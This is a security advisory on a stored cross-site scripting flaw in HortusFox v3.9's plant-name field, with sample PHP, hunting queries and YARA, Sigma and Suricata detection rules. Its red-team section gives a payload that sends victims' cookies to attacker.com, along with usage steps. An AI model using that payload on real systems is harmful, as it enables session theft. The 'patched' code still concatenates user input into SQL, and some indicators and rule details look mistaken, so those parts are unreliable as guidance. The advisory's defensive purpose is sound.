CVE-2024-57329

Executive Summary

CVE-2024-57329 is a stored cross-site scripting (XSS) vulnerability in HortusFox v3.9, a plant management application. The flaw exists in the "Add Plant" function, where the name input field fails to sanitize or escape user-supplied data. An authenticated attacker can inject arbitrary JavaScript payloads that are stored on the server and executed in the browsers of other users viewing the plant list. This can lead to session hijacking, data theft, or further compromise of the application.

Supply Chain & Package Security

HortusFox is a self-hosted PHP application. No known supply chain compromise has been reported, but the lack of a patch increases the risk of third-party exploitation via malicious plugins or themes.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: Required (victim must view the plant list)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires authentication but can lead to persistent compromise of user sessions.

Deep Dive & Mechanics

The vulnerability resides in the add_plant.php (or equivalent) endpoint. When a user submits the "Add Plant" form, the name parameter is stored directly into the database without any sanitization or HTML encoding. When the plant list is rendered (e.g., in view_plants.php), the stored value is output without escaping, allowing the browser to interpret injected HTML/JavaScript.

Attack Flow:

1. Attacker logs in as a low-privileged user.
2. Attacker submits a new plant with a malicious payload in the name field, e.g., <script>alert(document.cookie)</script>.
3. The payload is stored in the database.
4. When an administrator or other user views the plant list, the script executes in their browser.
5. The attacker can steal cookies, perform actions on behalf of the victim, or deface the page.

Vulnerable vs. Patched Code

Vulnerable Code (HortusFox v3.9):

// add_plant.php (simplified)
$name = $_POST['name'];
$query = "INSERT INTO plants (name) VALUES ('$name')";
mysqli_query($conn, $query);

// view_plants.php (simplified)
$result = mysqli_query($conn, "SELECT name FROM plants");
while ($row = mysqli_fetch_assoc($result)) {
    echo "<li>" . $row['name'] . "</li>";
}

Patched Code (Recommended):

// add_plant.php
$name = htmlspecialchars($_POST['name'], ENT_QUOTES, 'UTF-8');
$query = "INSERT INTO plants (name) VALUES ('$name')";
mysqli_query($conn, $query);

// view_plants.php
$result = mysqli_query($conn, "SELECT name FROM plants");
while ($row = mysqli_fetch_assoc($result)) {
    echo "<li>" . htmlspecialchars($row['name'], ENT_QUOTES, 'UTF-8') . "</li>";
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a HortusFox v3.9 instance with a valid user account.
• Ability to submit the "Add Plant" form.

Exploit Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Step-by-Step:

1. Log in to HortusFox.
2. Navigate to "Add Plant".
3. In the name field, enter the payload above.
4. Submit the form.
5. Wait for an administrator to view the plant list.
6. The cookie will be exfiltrated to attacker.com.

Blue Team

Detection:

• Monitor web application logs for unusual name parameters containing <script> or onerror attributes.
• Use a WAF to block common XSS patterns.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Query the database for plants with suspicious name values:

SELECT * FROM plants WHERE name LIKE '%<script%' OR name LIKE '%onerror%';

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains from the HortusFox server.
• Logs: Entries in access.log with POST /add_plant.php containing <script> tags.
• Database: Rows in the plants table with name fields containing HTML/JavaScript.
• File System: No file modifications expected.

Detection Engineering

YARA Rule

rule CVE_2024_57329_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads targeting HortusFox v3.9"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-57329"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in HortusFox Add Plant Function
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-57329 by injecting XSS payloads into the plant name field.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query: '/add_plant.php'
        cs-uri-query|contains: 
            - '<script'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of HTML in plant names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-57329 Stored XSS Payload Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/add_plant.php"; http_uri; content:"<script"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: If a patched version becomes available, upgrade immediately.
2. Input Sanitization: Apply htmlspecialchars() to all user inputs before storage and output.
3. WAF Rules: Deploy a Web Application Firewall with rules to block XSS payloads.
4. CSP Header: Add Content-Security-Policy: script-src 'self' to prevent inline script execution.

Long-Term:

• Implement a content security policy.
• Conduct regular security audits.
• Use parameterized queries to prevent SQL injection (though not directly related, it improves overall security).

Valters IT – Securing your digital assets with precision.